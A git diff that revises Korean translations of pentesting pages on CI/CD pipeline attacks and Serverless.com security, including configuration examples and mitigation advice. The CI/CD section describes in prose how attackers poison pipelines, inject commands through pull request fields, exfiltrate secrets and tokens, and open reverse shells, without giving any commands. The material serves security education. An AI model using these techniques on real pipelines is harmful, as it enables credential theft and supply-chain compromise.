+61,22 @@ Poisoned Pipeline Execution (PPE) 경로는 SCM 레포지토리의 권한을 악 PPE에는 3가지 변형이 있습니다: - **D-PPE**: **직접 PPE** 공격은 행위자가 **실행될 CI 구성** 파일을 **수정**할 때 발생합니다. -- **I-DDE**: **간접 PPE** 공격은 행위자가 **실행될 CI 구성 파일이 의존하는** **파일**을 **수정**할 때 발생합니다(예: make 파일 또는 terraform 구성). -- **공개 PPE 또는 3PE**: 경우에 따라 파이프라인은 **레포에 쓰기 접근 권한이 없는 사용자**에 의해 **트리거될 수 있습니다**(그리고 그들은 조직의 일원이 아닐 수도 있습니다) 왜냐하면 그들이 PR을 보낼 수 있기 때문입니다. -- **3PE 명령 주입**: 일반적으로 CI/CD 파이프라인은 **PR에 대한 정보**로 **환경 변수를 설정**합니다. 만약 그 값이 공격자에 의해 제어될 수 있다면(예: PR의 제목) 그리고 **위험한 장소**에서 **사용**된다면(예: **sh 명령 실행**), 공격자는 **거기에 명령을 주입할 수 있습니다**. +- **I-DDE**: **간접 PPE** 공격은 행위자가 **실행될 CI 구성 파일이 의존하는** **파일**을 **수정**할 때 발생합니다(예: 메이크 파일 또는 테라폼 구성). +- **공개 PPE 또는 3PE**: 경우에 따라 파이프라인은 **레포에 쓰기 접근 권한이 없는 사용자**에 의해 **트리거될 수 있습니다**(그들이 PR을 보낼 수 있기 때문). +- **3PE 명령 주입**: 일반적으로 CI/CD 파이프라인은 **PR에 대한 정보로** **환경 변수를 설정**합니다. 만약 그 값이 공격자에 의해 제어될 수 있고(예: PR의 제목) **위험한 장소에서 사용**된다면(예: **sh 명령 실행**), 공격자는 **거기에 명령을 주입할 수 있습니다**. ### Exploitation Benefits -파이프라인을 오염시키는 3가지 변형을 알고 나면, 공격자가 성공적인 악용 후에 얻을 수 있는 것들을 살펴보겠습니다: +파이프라인을 오염시키는 3가지 변형을 알고 나면, 공격자가 성공적인 악용 후 얻을 수 있는 것들을 살펴보겠습니다: -- **비밀**: 앞서 언급했듯이, 파이프라인은 작업을 수행하기 위해 **권한**이 필요하며(코드를 검색하고, 빌드하고, 배포하는 등) 이러한 권한은 보통 **비밀**로 부여됩니다. 이러한 비밀은 보통 **환경 변수나 시스템 내 파일을 통해 접근**할 수 있습니다. 따라서 공격자는 항상 가능한 한 많은 비밀을 유출하려고 할 것입니다. +- **비밀**: 앞서 언급했듯이, 파이프라인은 작업을 수행하기 위해 **권한**이 필요하며(코드를 검색하고, 빌드하고, 배포하는 등), 이러한 권한은 보통 **비밀로 부여됩니다**. 이러한 비밀은 일반적으로 **환경 변수나 시스템 내 파일을 통해 접근할 수 있습니다**. 따라서 공격자는 항상 가능한 한 많은 비밀을 유출하려고 할 것입니다. - 파이프라인 플랫폼에 따라 공격자는 **구성에서 비밀을 지정해야 할 수도 있습니다**. 이는 공격자가 CI 구성 파이프라인을 수정할 수 없다면(**I-PPE** 예를 들어), 그는 **그 파이프라인이 가진 비밀만 유출할 수 있다는 것을 의미합니다**. - **계산**: 코드는 어딘가에서 실행되며, 실행되는 위치에 따라 공격자는 더 나아가서 피벗할 수 있습니다. - **온프레미스**: 파이프라인이 온프레미스에서 실행된다면, 공격자는 **더 많은 리소스에 접근할 수 있는 내부 네트워크에 도달할 수 있습니다**. -- **클라우드**: 공격자는 **클라우드의 다른 머신에 접근할 수 있지만**, 또한 **IAM 역할/서비스 계정의** **토큰을 유출**하여 **클라우드 내에서 추가 접근을 얻을 수 있습니다**. +- **클라우드**: 공격자는 **클라우드의 다른 머신에 접근할 수 있지만**, 또한 **IAM 역할/서비스 계정의 토큰을 유출**하여 **클라우드 내에서 추가 접근을 얻을 수 있습니다**. - **플랫폼 머신**: 때때로 작업은 **파이프라인 플랫폼 머신 내에서 실행**되며, 이는 보통 **더 이상의 접근이 없는 클라우드 내에 있습니다**. -- **선택하기:** 때때로 **파이프라인 플랫폼은 여러 머신을 구성**하고 있으며, 만약 CI 구성 파일을 **수정할 수 있다면**, 악성 코드를 실행할 위치를 **지정할 수 있습니다**. 이 상황에서 공격자는 아마도 각 가능한 머신에서 리버스 셸을 실행하여 더 나아가서 악용하려고 할 것입니다. -- **프로덕션 손상**: 만약 당신이 파이프라인 내에 있고 최종 버전이 그로부터 빌드되고 배포된다면, 당신은 **프로덕션에서 실행될 코드에 손상을 줄 수 있습니다**. +- **선택**: 때때로 **파이프라인 플랫폼은 여러 머신을 구성**하고 있으며, 만약 CI 구성 파일을 **수정할 수 있다면**, 악성 코드를 실행할 위치를 **지정할 수 있습니다**. 이 경우, 공격자는 아마도 각 가능한 머신에서 리버스 쉘을 실행하여 더 나아가서 악용하려고 할 것입니다. +- **프로덕션 손상**: 만약 당신이 파이프라인 내에 있고 최종 버전이 그로부터 빌드되고 배포된다면, 당신은 **프로덕션에서 실행될 코드를 손상시킬 수 있습니다**. ## More relevant info @@ -90,7 +90,7 @@ Cider에 따르면 상위 10개 CI/CD 위험에 대한 흥미로운 기사를 ### Labs -- 로컬에서 실행할 수 있는 각 플랫폼에서 로컬로 실행하는 방법을 찾아 원하는 대로 구성하여 테스트할 수 있습니다. +- 로컬에서 실행할 수 있는 각 플랫폼에서 로컬로 실행하는 방법을 찾아서 원하는 대로 구성하여 테스트할 수 있습니다. - Gitea + Jenkins 실험실: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat) ### Automatic Tools diff --git a/src/pentesting-ci-cd/serverless.com-security.md b/src/pentesting-ci-cd/serverless.com-security.md index b15b75d6a..500af5066 100644 --- a/src/pentesting-ci-cd/serverless.com-security.md +++ b/src/pentesting-ci-cd/serverless.com-security.md @@ -14,7 +14,7 @@ ### 애플리케이션 -**앱**은 조직 내 관련 서비스의 논리적 그룹화입니다. 이는 여러 서버리스 서비스로 구성된 완전한 애플리케이션을 나타내며, 이 서비스들은 함께 작동하여 일관된 기능을 제공합니다. +**앱**은 조직 내에서 관련 서비스의 논리적 그룹화입니다. 이는 여러 서버리스 서비스로 구성된 완전한 애플리케이션을 나타내며, 이 서비스들은 함께 작동하여 일관된 기능을 제공합니다. ### **서비스** @@ -98,7 +98,7 @@ WriteCapacityUnits: 1 **Provider** 객체는 클라우드 서비스 제공업체(예: AWS, Azure, Google Cloud)를 지정하고 해당 제공업체와 관련된 구성 설정을 포함합니다. -여기에는 런타임, 지역, 단계 및 자격 증명과 같은 세부 정보가 포함됩니다. +런타임, 지역, 단계 및 자격 증명과 같은 세부정보를 포함합니다. ```yaml yamlCopy codeprovider: name: aws @@ -128,7 +128,7 @@ region: us-west-2 플러그인 -**플러그인**은 새로운 기능을 추가하거나 다른 도구 및 서비스와 통합하여 Serverless Framework의 기능을 확장합니다. 이들은 `plugins` 섹션 아래에 정의되며 npm을 통해 설치됩니다. +**플러그인**은 새로운 기능을 추가하거나 다른 도구 및 서비스와 통합하여 Serverless Framework의 기능을 확장합니다. 이들은 `plugins` 섹션에 정의되며 npm을 통해 설치됩니다. ```yaml plugins: - serverless-offline @@ -138,9 +138,9 @@ plugins:
-Layers +레이어 -**Layers**는 공유 코드나 종속성을 함수와 별도로 패키징하고 관리할 수 있게 해줍니다. 이는 재사용성을 촉진하고 배포 패키지 크기를 줄입니다. 이들은 `layers` 섹션 아래에 정의되며 함수에서 참조됩니다. +**레이어**는 공유 코드 또는 종속성을 함수와 별도로 패키징하고 관리할 수 있게 해줍니다. 이는 재사용성을 촉진하고 배포 패키지 크기를 줄입니다. 레이어는 `layers` 섹션 아래에 정의되며 함수에서 참조됩니다. ```yaml layers: commonLibs: @@ -157,7 +157,7 @@ layers: 변수 및 사용자 정의 변수 -**변수**는 배포 시점에 해결되는 플레이스홀더를 사용하여 동적 구성을 가능하게 합니다. +**변수**는 배포 시 해결되는 자리 표시자를 사용하여 동적 구성을 가능하게 합니다. - **구문:** `${variable}` 구문은 환경 변수, 파일 내용 또는 기타 구성 매개변수를 참조할 수 있습니다. @@ -169,7 +169,7 @@ environment: TABLE_NAME: ${self:custom.tableName} ``` -* **사용자 정의 변수:** `custom` 섹션은 `serverless.yml` 전반에 걸쳐 재사용할 수 있는 사용자 지정 변수 및 구성을 정의하는 데 사용됩니다. +* **사용자 정의 변수:** `custom` 섹션은 `serverless.yml` 전반에 걸쳐 재사용할 수 있는 사용자 특정 변수 및 구성을 정의하는 데 사용됩니다. ```yaml custom: @@ -183,7 +183,7 @@ stage: ${opt:stage, 'dev'} 출력 -**출력**은 서비스가 배포된 후 반환되는 값들을 정의하며, 리소스 ARN, 엔드포인트 또는 기타 유용한 정보가 포함됩니다. 이들은 `outputs` 섹션 아래에 지정되며, 다른 서비스에 정보를 노출하거나 배포 후 쉽게 접근할 수 있도록 자주 사용됩니다. +**출력**은 서비스가 배포된 후 반환되는 값들을 정의하며, 리소스 ARN, 엔드포인트 또는 기타 유용한 정보가 포함됩니다. 이들은 `outputs` 섹션 아래에 지정되며, 종종 다른 서비스에 정보를 노출하거나 배포 후 쉽게 접근할 수 있도록 사용됩니다. ```yaml ¡outputs: ApiEndpoint: @@ -226,7 +226,7 @@ Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}- 환경 변수 -**변수**는 하드코딩하지 않고 구성 설정 및 비밀을 함수에 전달할 수 있게 해줍니다. 이들은 제공자 또는 개별 함수의 `environment` 섹션 아래에 정의됩니다. +**변수**는 하드코딩하지 않고도 구성 설정 및 비밀을 함수에 전달할 수 있게 해줍니다. 이들은 제공자 또는 개별 함수의 `environment` 섹션 아래에 정의됩니다. ```yaml provider: environment: @@ -243,7 +243,7 @@ TABLE_NAME: ${self:custom.tableName} 종속성 -**종속성**은 함수가 필요로 하는 외부 라이브러리와 모듈을 관리합니다. 일반적으로 npm이나 pip와 같은 패키지 관리자를 통해 처리되며, `serverless-webpack`과 같은 도구나 플러그인을 사용하여 배포 패키지와 함께 번들됩니다. +**종속성**은 함수에 필요한 외부 라이브러리와 모듈을 관리합니다. 일반적으로 npm 또는 pip와 같은 패키지 관리자를 통해 처리되며, `serverless-webpack`과 같은 도구나 플러그인을 사용하여 배포 패키지와 함께 번들됩니다. ```yaml plugins: - serverless-webpack @@ -252,9 +252,9 @@ plugins:
-Hooks +후크 -**Hooks**는 배포 생애 주기의 특정 지점에서 사용자 정의 스크립트나 명령을 실행할 수 있게 해줍니다. 이들은 플러그인을 사용하거나 `serverless.yml` 내에서 정의되어 배포 전후에 작업을 수행합니다. +**후크**는 배포 생애 주기의 특정 지점에서 사용자 정의 스크립트나 명령을 실행할 수 있게 해줍니다. 이들은 플러그인을 사용하거나 `serverless.yml` 내에서 정의되어 배포 전후에 작업을 수행합니다. ```yaml custom: hooks: @@ -262,13 +262,13 @@ before:deploy:deploy: echo "Starting deployment..." ```
-### Tutorial +### 튜토리얼 -이것은 공식 튜토리얼 [**문서에서**](https://www.serverless.com/framework/docs/tutorial)의 요약입니다: +이것은 공식 튜토리얼의 요약입니다 [**문서에서**](https://www.serverless.com/framework/docs/tutorial): -1. AWS 계정을 생성합니다 (Serverless.com은 AWS 인프라에서 시작합니다) -2. serverless.com에 계정을 생성합니다 -3. 앱을 생성합니다: +1. AWS 계정 생성 (Serverless.com은 AWS 인프라에서 시작) +2. serverless.com에 계정 생성 +3. 앱 생성: ```bash # Create temp folder for the tutorial mkdir /tmp/serverless-tutorial @@ -284,7 +284,7 @@ serverless #Choose first one (AWS / Node.js / HTTP API) ## Create A New App ## Indicate a name like "tutorialapp) ``` -이것은 **app** `tutorialapp`을 생성했어야 하며, [serverless.com](serverless.com-security.md)에서 확인할 수 있고, `helloworld` 코드가 포함된 JS 코드가 있는 **`handler.js`** 파일과 해당 함수를 선언하는 **`serverless.yml`** 파일이 있는 `Tutorial`이라는 폴더를 생성했어야 합니다: +이것은 **app**인 `tutorialapp`을 생성했어야 하며, [serverless.com](serverless.com-security.md)에서 확인할 수 있고, `helloworld` 코드가 포함된 JS 코드가 있는 **`handler.js`** 파일과 해당 함수를 선언하는 **`serverless.yml`** 파일이 있는 `Tutorial`이라는 폴더를 생성했어야 합니다: {{#tabs }} {{#tab name="handler.js" }} @@ -323,9 +323,9 @@ method: get {{#endtab }} {{#endtabs }} -4. AWS 공급자를 생성하려면 `https://app.serverless.com//settings/providers?providerId=new&provider=aws`의 **대시보드**로 이동합니다. -1. `serverless.com`에 AWS 접근 권한을 부여하기 위해 이 구성 파일을 사용하여 클라우드포메이션 스택을 실행하라는 요청이 있습니다(이 글을 작성할 당시): [https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml](https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml) -2. 이 템플릿은 **`SFRole-`**라는 역할을 생성하며, **`arn:aws:iam::aws:policy/AdministratorAccess`**를 통해 `Serverless.com` AWS 계정이 역할에 접근할 수 있도록 허용하는 신뢰 ID를 가진 계정에 대해 설정됩니다. +4. **대시보드**에서 AWS 공급자를 생성합니다: `https://app.serverless.com//settings/providers?providerId=new&provider=aws`. +1. `serverless.com`에 AWS 접근 권한을 부여하기 위해, 이 구성 파일을 사용하여 클라우드포메이션 스택을 실행하라는 요청이 있습니다 (이 글을 작성할 당시): [https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml](https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml) +2. 이 템플릿은 **`SFRole-`**라는 역할을 생성하며, **`arn:aws:iam::aws:policy/AdministratorAccess`**를 통해 `Serverless.com` AWS 계정이 역할에 접근할 수 있도록 허용하는 신뢰 ID를 갖습니다.
@@ -481,11 +481,11 @@ TableName: ${self:service}-customerTable-${sls:stage} {{#endtab }} {{#endtabs }} -6. **`serverless deploy`**를 실행하여 배포합니다. +6. **`serverless deploy`** 명령어로 배포합니다. 1. 배포는 CloudFormation Stack을 통해 수행됩니다. 2. **람다 함수는 직접 URL이 아닌 API 게이트웨이를 통해 노출됩니다.** 7. **테스트합니다.** -1. 이전 단계에서는 API 엔드포인트 람다 함수가 배포된 **URL**이 출력됩니다. +1. 이전 단계에서는 API 엔드포인트 람다 함수가 배포된 **URL**을 출력합니다. ## Serverless.com의 보안 검토 @@ -545,14 +545,14 @@ Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}- --- -### **불안전한 비밀 및 구성 관리** +### **안전하지 않은 비밀 및 구성 관리** 민감한 정보(예: API 키, 데이터베이스 자격 증명)를 **`serverless.yml`** 또는 코드에 직접 저장하면 리포지토리가 손상될 경우 노출될 수 있습니다. -**추천되는** 방법은 serverless.com의 **`serverless.yml`** 파일에서 환경 변수를 저장하기 위해 `ssm` 또는 `s3` 공급자를 사용하는 것입니다. 이는 **배포 시 이러한 소스에서 환경 값을 가져오고** **lambdas** 환경 변수를 **값이 없는 텍스트로 구성**할 수 있게 해줍니다! +**추천되는** 방법은 serverless.com의 **`serverless.yml`** 파일에서 환경 변수를 저장하는 것으로, `ssm` 또는 `s3` 공급자를 사용하여 **배포 시 이러한 소스에서 환경 값을 가져오고** **lambdas** 환경 변수를 **값이 없는 텍스트로 구성**하는 것입니다! > [!CAUTION] -> 따라서 AWS 내에서 lambdas 구성을 읽을 수 있는 권한이 있는 사람은 **이 모든 환경 변수를 평문으로 접근할 수 있습니다!** +> 따라서 AWS 내에서 lambdas 구성을 읽을 수 있는 권한이 있는 사람은 **모든 이러한 환경 변수를 평문으로 접근할 수 있습니다!** 예를 들어, 다음 예제는 SSM을 사용하여 환경 변수를 가져옵니다: ```yaml @@ -560,26 +560,26 @@ provider: environment: DB_PASSWORD: ${ssm:/aws/reference/secretsmanager/my-db-password~true} ``` -And even if this prevents hardcoding the environment variable value in the **`serverless.yml`** file, the value will be obtained at deployment time and will be **added in clear text inside the lambda environment variable**. +그리고 이것이 **`serverless.yml`** 파일에 환경 변수 값을 하드코딩하는 것을 방지하더라도, 값은 배포 시점에 얻어지며 **람다 환경 변수 안에 평문으로 추가됩니다**. > [!TIP] -> The recommended way to store environment variables using serveless.com would be to **store it in a AWS secret** and just store the secret name in the environment variable and the **lambda code should gather it**. +> serveless.com을 사용하여 환경 변수를 저장하는 권장 방법은 **AWS 비밀에 저장**하고 비밀 이름만 환경 변수에 저장하며 **람다 코드가 이를 수집해야 합니다**. -#### **Mitigation Strategies** +#### **완화 전략** -- **Secrets Manager Integration:** Use services like **AWS Secrets Manager.** -- **Encrypted Variables:** Leverage Serverless Framework’s encryption features for sensitive data. -- **Access Controls:** Restrict access to secrets based on roles. +- **비밀 관리자 통합:** **AWS Secrets Manager**와 같은 서비스를 사용합니다. +- **암호화된 변수:** 민감한 데이터에 대해 Serverless Framework의 암호화 기능을 활용합니다. +- **접근 제어:** 역할에 따라 비밀에 대한 접근을 제한합니다. --- -### **Vulnerable Code and Dependencies** +### **취약한 코드 및 종속성** -Outdated or insecure dependencies can introduce vulnerabilities, while improper input handling may lead to code injection attacks. +구식 또는 안전하지 않은 종속성은 취약점을 도입할 수 있으며, 부적절한 입력 처리는 코드 주입 공격으로 이어질 수 있습니다. -#### **Mitigation Strategies** +#### **완화 전략** -- **Dependency Management:** Regularly update dependencies and scan for vulnerabilities. +- **종속성 관리:** 종속성을 정기적으로 업데이트하고 취약점을 스캔합니다. ```yaml plugins: @@ -587,38 +587,38 @@ plugins: - serverless-plugin-snyk ``` -- **Input Validation:** Implement strict validation and sanitization of all inputs. -- **Code Reviews:** Conduct thorough reviews to identify security flaws. -- **Static Analysis:** Use tools to detect vulnerabilities in the codebase. +- **입력 검증:** 모든 입력에 대해 엄격한 검증 및 정화를 구현합니다. +- **코드 리뷰:** 보안 결함을 식별하기 위해 철저한 리뷰를 수행합니다. +- **정적 분석:** 코드베이스의 취약점을 감지하기 위해 도구를 사용합니다. --- -### **Inadequate Logging and Monitoring** +### **부적절한 로깅 및 모니터링** -Without proper logging and monitoring, malicious activities may go undetected, delaying incident response. +적절한 로깅 및 모니터링이 없으면 악의적인 활동이 감지되지 않을 수 있으며, 사건 대응이 지연될 수 있습니다. -#### **Mitigation Strategies** +#### **완화 전략** -- **Centralized Logging:** Aggregate logs using services like **AWS CloudWatch** or **Datadog**. +- **중앙 집중식 로깅:** **AWS CloudWatch** 또는 **Datadog**와 같은 서비스를 사용하여 로그를 집계합니다. ```yaml plugins: - serverless-plugin-datadog ``` -- **Enable Detailed Logging:** Capture essential information without exposing sensitive data. -- **Set Up Alerts:** Configure alerts for suspicious activities or anomalies. -- **Regular Monitoring:** Continuously monitor logs and metrics for potential security incidents. +- **상세 로깅 활성화:** 민감한 데이터를 노출하지 않으면서 필수 정보를 캡처합니다. +- **알림 설정:** 의심스러운 활동이나 이상 징후에 대한 알림을 구성합니다. +- **정기 모니터링:** 잠재적인 보안 사건에 대해 로그 및 메트릭을 지속적으로 모니터링합니다. --- -### **Insecure API Gateway Configurations** +### **불안전한 API 게이트웨이 구성** -Open or improperly secured APIs can be exploited for unauthorized access, Denial of Service (DoS) attacks, or cross-site attacks. +열려 있거나 부적절하게 보호된 API는 무단 접근, 서비스 거부(DoS) 공격 또는 교차 사이트 공격에 악용될 수 있습니다. -#### **Mitigation Strategies** +#### **완화 전략** -- **Authentication and Authorization:** Implement robust mechanisms like OAuth, API keys, or JWT. +- **인증 및 권한 부여:** OAuth, API 키 또는 JWT와 같은 강력한 메커니즘을 구현합니다. ```yaml functions: @@ -631,7 +631,7 @@ method: get authorizer: aws_iam ``` -- **Rate Limiting and Throttling:** Prevent abuse by limiting request rates. +- **요청 속도 제한 및 조절:** 요청 속도를 제한하여 남용을 방지합니다. ```yaml provider: @@ -641,7 +641,7 @@ burstLimit: 200 rateLimit: 100 ``` -- **Secure CORS Configuration:** Restrict allowed origins, methods, and headers. +- **안전한 CORS 구성:** 허용된 출처, 메서드 및 헤더를 제한합니다. ```yaml functions: @@ -657,19 +657,19 @@ headers: - Content-Type ``` -- **Use Web Application Firewalls (WAF):** Filter and monitor HTTP requests for malicious patterns. +- **웹 애플리케이션 방화벽(WAF) 사용:** 악의적인 패턴에 대해 HTTP 요청을 필터링하고 모니터링합니다. --- -### **Insufficient Function Isolation** +### **불충분한 함수 격리** -Shared resources and inadequate isolation can lead to privilege escalations or unintended interactions between functions. +공유 리소스와 불충분한 격리는 권한 상승 또는 함수 간의 의도하지 않은 상호작용을 초래할 수 있습니다. -#### **Mitigation Strategies** +#### **완화 전략** -- **Isolate Functions:** Assign distinct resources and IAM roles to ensure independent operation. -- **Resource Partitioning:** Use separate databases or storage buckets for different functions. -- **Use VPCs:** Deploy functions within Virtual Private Clouds for enhanced network isolation. +- **함수 격리:** 독립적인 작동을 보장하기 위해 고유한 리소스 및 IAM 역할을 할당합니다. +- **리소스 분할:** 서로 다른 함수에 대해 별도의 데이터베이스 또는 저장소 버킷을 사용합니다. +- **VPC 사용:** 향상된 네트워크 격리를 위해 가상 사설 클라우드 내에서 함수를 배포합니다. ```yaml provider: @@ -680,17 +680,17 @@ subnetIds: - subnet-xxxxxx ``` -- **Limit Function Permissions:** Ensure functions cannot access or interfere with each other’s resources unless explicitly required. +- **함수 권한 제한:** 함수가 명시적으로 요구되지 않는 한 서로의 리소스에 접근하거나 간섭할 수 없도록 합니다. --- -### **Inadequate Data Protection** +### **불충분한 데이터 보호** -Unencrypted data at rest or in transit can be exposed, leading to data breaches or tampering. +정지 상태 또는 전송 중 암호화되지 않은 데이터는 노출될 수 있으며, 데이터 유출 또는 변조로 이어질 수 있습니다. -#### **Mitigation Strategies** +#### **완화 전략** -- **Encrypt Data at Rest:** Utilize cloud service encryption features. +- **정지 상태 데이터 암호화:** 클라우드 서비스 암호화 기능을 활용합니다. ```yaml resources: @@ -702,25 +702,25 @@ SSESpecification: SSEEnabled: true ``` -- **Encrypt Data in Transit:** Use HTTPS/TLS for all data transmissions. -- **Secure API Communication:** Enforce encryption protocols and validate certificates. -- **Manage Encryption Keys Securely:** Use managed key services and rotate keys regularly. +- **전송 중 데이터 암호화:** 모든 데이터 전송에 대해 HTTPS/TLS를 사용합니다. +- **API 통신 보안:** 암호화 프로토콜을 시행하고 인증서를 검증합니다. +- **암호화 키를 안전하게 관리:** 관리형 키 서비스를 사용하고 키를 정기적으로 교체합니다. --- -### **Lack of Proper Error Handling** +### **적절한 오류 처리 부족** -Detailed error messages can leak sensitive information about the infrastructure or codebase, while unhandled exceptions may lead to application crashes. +상세한 오류 메시지는 인프라 또는 코드베이스에 대한 민감한 정보를 유출할 수 있으며, 처리되지 않은 예외는 애플리케이션 충돌로 이어질 수 있습니다. -#### **Mitigation Strategies** +#### **완화 전략** -- **Generic Error Messages:** Avoid exposing internal details in error responses. +- **일반 오류 메시지:** 오류 응답에서 내부 세부 정보를 노출하지 않도록 합니다. ```javascript -javascriptCopy code// Example in Node.js +javascriptCopy code// Node.js의 예 exports.hello = async (event) => { try { -// Function logic +// 함수 로직 } catch (error) { console.error(error); return { @@ -731,78 +731,78 @@ body: JSON.stringify({ message: 'Internal Server Error' }), }; ``` -- **Centralized Error Handling:** Manage and sanitize errors consistently across all functions. -- **Monitor and Log Errors:** Track and analyze errors internally without exposing details to end-users. +- **중앙 집중식 오류 처리:** 모든 함수에서 오류를 일관되게 관리하고 정화합니다. +- **오류 모니터링 및 로깅:** 세부 정보를 최종 사용자에게 노출하지 않고 내부적으로 오류를 추적하고 분석합니다. --- -### **Insecure Deployment Practices** +### **불안전한 배포 관행** -Exposed deployment configurations or unauthorized access to CI/CD pipelines can lead to malicious code deployments or misconfigurations. +노출된 배포 구성 또는 CI/CD 파이프라인에 대한 무단 접근은 악의적인 코드 배포 또는 잘못된 구성을 초래할 수 있습니다. -#### **Mitigation Strategies** +#### **완화 전략** -- **Secure CI/CD Pipelines:** Implement strict access controls, multi-factor authentication (MFA), and regular audits. -- **Store Configuration Securely:** Keep deployment files free from hardcoded secrets and sensitive data. -- **Use Infrastructure as Code (IaC) Security Tools:** Employ tools like **Checkov** or **Terraform Sentinel** to enforce security policies. -- **Immutable Deployments:** Prevent unauthorized changes post-deployment by adopting immutable infrastructure practices. +- **CI/CD 파이프라인 보안:** 엄격한 접근 제어, 다단계 인증(MFA) 및 정기 감사 구현합니다. +- **구성을 안전하게 저장:** 배포 파일에서 하드코딩된 비밀 및 민감한 데이터를 제거합니다. +- **코드로서의 인프라(IaC) 보안 도구 사용:** **Checkov** 또는 **Terraform Sentinel**과 같은 도구를 사용하여 보안 정책을 시행합니다. +- **불변 배포:** 불변 인프라 관행을 채택하여 배포 후 무단 변경을 방지합니다. --- -### **Vulnerabilities in Plugins and Extensions** +### **플러그인 및 확장 프로그램의 취약점** -Using unvetted or malicious third-party plugins can introduce vulnerabilities into your serverless applications. +검증되지 않거나 악의적인 제3자 플러그인을 사용하면 서버리스 애플리케이션에 취약점을 도입할 수 있습니다. -#### **Mitigation Strategies** +#### **완화 전략** -- **Vet Plugins Thoroughly:** Assess the security of plugins before integration, favoring those from reputable sources. -- **Limit Plugin Usage:** Use only necessary plugins to minimize the attack surface. -- **Monitor Plugin Updates:** Keep plugins updated to benefit from security patches. -- **Isolate Plugin Environments:** Run plugins in isolated environments to contain potential compromises. +- **플러그인 철저 검토:** 통합 전에 플러그인의 보안을 평가하고 평판이 좋은 출처의 플러그인을 선호합니다. +- **플러그인 사용 제한:** 공격 표면을 최소화하기 위해 필요한 플러그인만 사용합니다. +- **플러그인 업데이트 모니터링:** 보안 패치를 활용하기 위해 플러그인을 최신 상태로 유지합니다. +- **플러그인 환경 격리:** 잠재적인 손상을 방지하기 위해 플러그인을 격리된 환경에서 실행합니다. --- -### **Exposure of Sensitive Endpoints** +### **민감한 엔드포인트 노출** -Publicly accessible functions or unrestricted APIs can be exploited for unauthorized operations. +공개적으로 접근 가능한 함수 또는 제한 없는 API는 무단 작업에 악용될 수 있습니다. -#### **Mitigation Strategies** +#### **완화 전략** -- **Restrict Function Access:** Use VPCs, security groups, and firewall rules to limit access to trusted sources. -- **Implement Robust Authentication:** Ensure all exposed endpoints require proper authentication and authorization. -- **Use API Gateways Securely:** Configure API Gateways to enforce security policies, including input validation and rate limiting. -- **Disable Unused Endpoints:** Regularly review and disable any endpoints that are no longer in use. +- **함수 접근 제한:** VPC, 보안 그룹 및 방화벽 규칙을 사용하여 신뢰할 수 있는 출처로의 접근을 제한합니다. +- **강력한 인증 구현:** 모든 노출된 엔드포인트가 적절한 인증 및 권한 부여를 요구하도록 합니다. +- **API 게이트웨이를 안전하게 사용:** API 게이트웨이를 구성하여 입력 검증 및 속도 제한을 포함한 보안 정책을 시행합니다. +- **사용하지 않는 엔드포인트 비활성화:** 더 이상 사용하지 않는 엔드포인트를 정기적으로 검토하고 비활성화합니다. --- -### **Excessive Permissions for Team Members and External Collaborators** +### **팀원 및 외부 협력자에 대한 과도한 권한** -Granting excessive permissions to team members and external collaborators can lead to unauthorized access, data breaches, and misuse of resources. This risk is heightened in environments where multiple individuals have varying levels of access, increasing the attack surface and potential for insider threats. +팀원 및 외부 협력자에게 과도한 권한을 부여하면 무단 접근, 데이터 유출 및 리소스 남용으로 이어질 수 있습니다. 이 위험은 여러 개인이 다양한 수준의 접근 권한을 가진 환경에서 더욱 커지며, 공격 표면과 내부 위협의 가능성을 증가시킵니다. -#### **Mitigation Strategies** +#### **완화 전략** -- **Principle of Least Privilege:** Ensure that team members and collaborators have only the permissions necessary to perform their tasks. +- **최소 권한 원칙:** 팀원 및 협력자가 작업을 수행하는 데 필요한 권한만 가지도록 합니다. --- -### **Access Keys and License Keys Security** +### **액세스 키 및 라이센스 키 보안** -**Access Keys** and **License Keys** are critical credentials used to authenticate and authorize interactions with the Serverless Framework CLI. +**액세스 키** 및 **라이센스 키**는 Serverless Framework CLI와의 상호작용을 인증하고 권한을 부여하는 데 사용되는 중요한 자격 증명입니다. -- **License Keys:** 그들은 Serverless Framework Version 4에 대한 접근을 인증하는 데 필요한 고유 식별자입니다. CLI를 통해 로그인할 수 있습니다. -- **Access Keys:** Serverless Framework CLI가 Serverless Framework Dashboard와 인증하는 데 사용하는 자격 증명입니다. `serverless` cli로 로그인할 때 액세스 키가 **생성되어 노트북에 저장됩니다**. 또한 `SERVERLESS_ACCESS_KEY`라는 환경 변수로 설정할 수 있습니다. +- **라이센스 키:** CLI를 통해 로그인할 수 있도록 하는 Serverless Framework 버전 4에 대한 인증에 필요한 고유 식별자입니다. +- **액세스 키:** Serverless Framework Dashboard와 인증하기 위해 Serverless Framework CLI가 사용하는 자격 증명입니다. `serverless` cli로 로그인할 때 액세스 키가 **생성되어 노트북에 저장됩니다**. 또한 `SERVERLESS_ACCESS_KEY`라는 환경 변수로 설정할 수 있습니다. -#### **Security Risks** +#### **보안 위험** -1. **Exposure Through Code Repositories:** -- Access Keys 및 License Keys를 하드코딩하거나 실수로 버전 관리 시스템에 커밋하면 무단 접근이 발생할 수 있습니다. -2. **Insecure Storage:** -- 적절한 암호화 없이 환경 변수나 구성 파일에 평문으로 키를 저장하면 유출 가능성이 높아집니다. -3. **Improper Distribution:** -- 안전하지 않은 채널(예: 이메일, 채팅)을 통해 키를 공유하면 악의적인 행위자에 의해 가로채질 수 있습니다. -4. **Lack of Rotation:** +1. **코드 리포지토리를 통한 노출:** +- 액세스 키 및 라이센스 키를 하드코딩하거나 실수로 버전 관리 시스템에 커밋하면 무단 접근이 발생할 수 있습니다. +2. **안전하지 않은 저장:** +- 적절한 암호화 없이 환경 변수나 구성 파일 내에 평문으로 키를 저장하면 유출 가능성이 높아집니다. +3. **부적절한 배포:** +- 안전하지 않은 채널(예: 이메일, 채팅)을 통해 키를 공유하면 악의적인 행위자에게 가로채질 수 있습니다. +4. **회전 부족:** - 키를 정기적으로 회전하지 않으면 키가 손상된 경우 노출 기간이 연장됩니다. -5. **Excessive Permissions:** +5. **과도한 권한:** - 광범위한 권한을 가진 키는 여러 리소스에서 무단 작업을 수행하는 데 악용될 수 있습니다. {{#include ../banners/hacktricks-training.md}} diff 